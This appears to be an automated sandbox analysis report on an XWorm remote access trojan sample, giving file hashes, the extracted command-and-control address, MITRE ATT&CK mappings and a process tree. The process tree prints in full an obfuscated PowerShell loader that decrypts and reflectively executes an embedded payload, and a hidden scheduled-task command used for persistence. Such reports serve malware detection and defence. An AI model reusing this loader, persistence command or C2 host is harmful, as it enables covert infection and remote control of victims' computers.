xworm | e87acd0cba7115834705368c2f03b629261bbc80519dc5e65c4395f992b129bc

Analysis

max time kernel
97s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
08-11-2024 00:02

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General

Target

XClient (2).bat
Size

278KB
MD5

87dfdc436f01e7015c743698464c3b8f
SHA1

da351d18f1495a92396cfc1c7252e1b145b9adb2
SHA256

e87acd0cba7115834705368c2f03b629261bbc80519dc5e65c4395f992b129bc
SHA512

751bec2933262568a60c32c3781083b1a087e9f750a2e70b74a376c0cb449a674422398b56314ed8059a92a1a8f92b881fcfd88f68a6f753fd82b18bdde5d499
SSDEEP

6144:KnqZeu/Xeq5Bg0g/4ZL01PA84vRlzzQbVZnPM:cKeIlgLzy8AdKVZPM

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

127.0.0.1:32758

pressure-continuous.gl.at.ply.gg:32758

Attributes

Install_directory
%Temp%
install_file
USB.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2580-49-0x0000022CDC070000-0x0000022CDC084000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
19	2580	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3992	powershell.exe
4988	powershell.exe
2580	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	WScript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3992	powershell.exe
3992	powershell.exe
4988	powershell.exe
4988	powershell.exe
2580	powershell.exe
2580	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3992	powershell.exe
Token: SeDebugPrivilege	4988	powershell.exe
Token: SeIncreaseQuotaPrivilege	4988	powershell.exe
Token: SeSecurityPrivilege	4988	powershell.exe
Token: SeTakeOwnershipPrivilege	4988	powershell.exe
Token: SeLoadDriverPrivilege	4988	powershell.exe
Token: SeSystemProfilePrivilege	4988	powershell.exe
Token: SeSystemtimePrivilege	4988	powershell.exe
Token: SeProfSingleProcessPrivilege	4988	powershell.exe
Token: SeIncBasePriorityPrivilege	4988	powershell.exe
Token: SeCreatePagefilePrivilege	4988	powershell.exe
Token: SeBackupPrivilege	4988	powershell.exe
Token: SeRestorePrivilege	4988	powershell.exe
Token: SeShutdownPrivilege	4988	powershell.exe
Token: SeDebugPrivilege	4988	powershell.exe
Token: SeSystemEnvironmentPrivilege	4988	powershell.exe
Token: SeRemoteShutdownPrivilege	4988	powershell.exe
Token: SeUndockPrivilege	4988	powershell.exe
Token: SeManageVolumePrivilege	4988	powershell.exe
Token: 33	4988	powershell.exe
Token: 34	4988	powershell.exe
Token: 35	4988	powershell.exe
Token: 36	4988	powershell.exe
Token: SeIncreaseQuotaPrivilege	4988	powershell.exe
Token: SeSecurityPrivilege	4988	powershell.exe
Token: SeTakeOwnershipPrivilege	4988	powershell.exe
Token: SeLoadDriverPrivilege	4988	powershell.exe
Token: SeSystemProfilePrivilege	4988	powershell.exe
Token: SeSystemtimePrivilege	4988	powershell.exe
Token: SeProfSingleProcessPrivilege	4988	powershell.exe
Token: SeIncBasePriorityPrivilege	4988	powershell.exe
Token: SeCreatePagefilePrivilege	4988	powershell.exe
Token: SeBackupPrivilege	4988	powershell.exe
Token: SeRestorePrivilege	4988	powershell.exe
Token: SeShutdownPrivilege	4988	powershell.exe
Token: SeDebugPrivilege	4988	powershell.exe
Token: SeSystemEnvironmentPrivilege	4988	powershell.exe
Token: SeRemoteShutdownPrivilege	4988	powershell.exe
Token: SeUndockPrivilege	4988	powershell.exe
Token: SeManageVolumePrivilege	4988	powershell.exe
Token: 33	4988	powershell.exe
Token: 34	4988	powershell.exe
Token: 35	4988	powershell.exe
Token: 36	4988	powershell.exe
Token: SeIncreaseQuotaPrivilege	4988	powershell.exe
Token: SeSecurityPrivilege	4988	powershell.exe
Token: SeTakeOwnershipPrivilege	4988	powershell.exe
Token: SeLoadDriverPrivilege	4988	powershell.exe
Token: SeSystemProfilePrivilege	4988	powershell.exe
Token: SeSystemtimePrivilege	4988	powershell.exe
Token: SeProfSingleProcessPrivilege	4988	powershell.exe
Token: SeIncBasePriorityPrivilege	4988	powershell.exe
Token: SeCreatePagefilePrivilege	4988	powershell.exe
Token: SeBackupPrivilege	4988	powershell.exe
Token: SeRestorePrivilege	4988	powershell.exe
Token: SeShutdownPrivilege	4988	powershell.exe
Token: SeDebugPrivilege	4988	powershell.exe
Token: SeSystemEnvironmentPrivilege	4988	powershell.exe
Token: SeRemoteShutdownPrivilege	4988	powershell.exe
Token: SeUndockPrivilege	4988	powershell.exe
Token: SeManageVolumePrivilege	4988	powershell.exe
Token: 33	4988	powershell.exe
Token: 34	4988	powershell.exe
Token: 35	4988	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2424 wrote to memory of 4716	2424	cmd.exe	85
PID 2424 wrote to memory of 4716	2424	cmd.exe	85
PID 4716 wrote to memory of 1592	4716	net.exe	86
PID 4716 wrote to memory of 1592	4716	net.exe	86
PID 2424 wrote to memory of 3992	2424	cmd.exe	90
PID 2424 wrote to memory of 3992	2424	cmd.exe	90
PID 3992 wrote to memory of 4988	3992	powershell.exe	91
PID 3992 wrote to memory of 4988	3992	powershell.exe	91
PID 3992 wrote to memory of 4016	3992	powershell.exe	96
PID 3992 wrote to memory of 4016	3992	powershell.exe	96
PID 4016 wrote to memory of 3628	4016	WScript.exe	97
PID 4016 wrote to memory of 3628	4016	WScript.exe	97
PID 3628 wrote to memory of 3308	3628	cmd.exe	100
PID 3628 wrote to memory of 3308	3628	cmd.exe	100
PID 3308 wrote to memory of 2372	3308	net.exe	101
PID 3308 wrote to memory of 2372	3308	net.exe	101
PID 3628 wrote to memory of 2580	3628	cmd.exe	102
PID 3628 wrote to memory of 2580	3628	cmd.exe	102

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\XClient (2).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2424
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4716
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:1592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NFENJiNpg1h6SHOQTfTGTD/pq4odY17xKRKy73LvL3s='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('q/sPA+mDcRRjW9KDIkqcPw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fARel=New-Object System.IO.MemoryStream(,$param_var); $qyAQz=New-Object System.IO.MemoryStream; $UsAXh=New-Object System.IO.Compression.GZipStream($fARel, [IO.Compression.CompressionMode]::Decompress); $UsAXh.CopyTo($qyAQz); $UsAXh.Dispose(); $fARel.Dispose(); $qyAQz.Dispose(); $qyAQz.ToArray();}function execute_function($param_var,$param2_var){ $Ypvdz=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ivVjP=$Ypvdz.EntryPoint; $ivVjP.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\XClient (2).bat';$wKWxC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\XClient (2).bat').Split([Environment]::NewLine);foreach ($whcSy in $wKWxC) { if ($whcSy.StartsWith(':: ')) { $smtAH=$whcSy.Substring(3); break; }}$payloads_var=[string[]]$smtAH.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_476_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_476.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4988
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_476.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4016
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_476.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3628
    - - C:\Windows\system32\net.exe
        
        net file
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3308
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        6⤵
        
        PID:2372
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NFENJiNpg1h6SHOQTfTGTD/pq4odY17xKRKy73LvL3s='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('q/sPA+mDcRRjW9KDIkqcPw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fARel=New-Object System.IO.MemoryStream(,$param_var); $qyAQz=New-Object System.IO.MemoryStream; $UsAXh=New-Object System.IO.Compression.GZipStream($fARel, [IO.Compression.CompressionMode]::Decompress); $UsAXh.CopyTo($qyAQz); $UsAXh.Dispose(); $fARel.Dispose(); $qyAQz.Dispose(); $qyAQz.ToArray();}function execute_function($param_var,$param2_var){ $Ypvdz=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ivVjP=$Ypvdz.EntryPoint; $ivVjP.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_476.bat';$wKWxC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_476.bat').Split([Environment]::NewLine);foreach ($whcSy in $wKWxC) { if ($whcSy.StartsWith(':: ')) { $smtAH=$whcSy.Substring(3); break; }}$payloads_var=[string[]]$smtAH.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
f8d49a4af7a844bfc7247d5670def557

SHA1
26ae0ce194a77a7a1887cf93741293fdfa6c94c4

SHA256
61c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b

SHA512
9e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_olhtytyh.o5k.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_476.bat

Filesize
278KB

MD5
87dfdc436f01e7015c743698464c3b8f

SHA1
da351d18f1495a92396cfc1c7252e1b145b9adb2

SHA256
e87acd0cba7115834705368c2f03b629261bbc80519dc5e65c4395f992b129bc

SHA512
751bec2933262568a60c32c3781083b1a087e9f750a2e70b74a376c0cb449a674422398b56314ed8059a92a1a8f92b881fcfd88f68a6f753fd82b18bdde5d499

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_476.vbs

Filesize
115B

MD5
86722163faccab24931ccf4edac53f1e

SHA1
f5d2754468b5abb0fcdeba18a9ee0760b2bf8f39

SHA256
616b6d73324d3bc1a1f0147f2381b7c75dfa8868f6ee8da518dbece692420991

SHA512
6267133dd0d085613222fa6c225761077117adf0a61978580111d219397b8e35c9f9b6971e33da7e67bf023bd080b2ca80bcdbdfbfa74c52789b31bd9e7aede4

Download Submit
memory/2580-49-0x0000022CDC070000-0x0000022CDC084000-memory.dmp

Filesize
80KB

Download
memory/3992-12-0x00007FFC5D230000-0x00007FFC5DCF1000-memory.dmp

Filesize
10.8MB

Download
memory/3992-14-0x000001EAE9450000-0x000001EAE9486000-memory.dmp

Filesize
216KB

Download
memory/3992-13-0x000001EACEEF0000-0x000001EACEEF8000-memory.dmp

Filesize
32KB

Download
memory/3992-0-0x00007FFC5D233000-0x00007FFC5D235000-memory.dmp

Filesize
8KB

Download
memory/3992-11-0x00007FFC5D230000-0x00007FFC5DCF1000-memory.dmp

Filesize
10.8MB

Download
memory/3992-7-0x000001EAE9200000-0x000001EAE9222000-memory.dmp

Filesize
136KB

Download
memory/3992-50-0x00007FFC5D230000-0x00007FFC5DCF1000-memory.dmp

Filesize
10.8MB

Download
memory/4988-16-0x00007FFC5D230000-0x00007FFC5DCF1000-memory.dmp

Filesize
10.8MB

Download
memory/4988-17-0x00007FFC5D230000-0x00007FFC5DCF1000-memory.dmp

Filesize
10.8MB

Download
memory/4988-27-0x00007FFC5D230000-0x00007FFC5DCF1000-memory.dmp

Filesize
10.8MB

Download
memory/4988-30-0x00007FFC5D230000-0x00007FFC5DCF1000-memory.dmp

Filesize
10.8MB

Download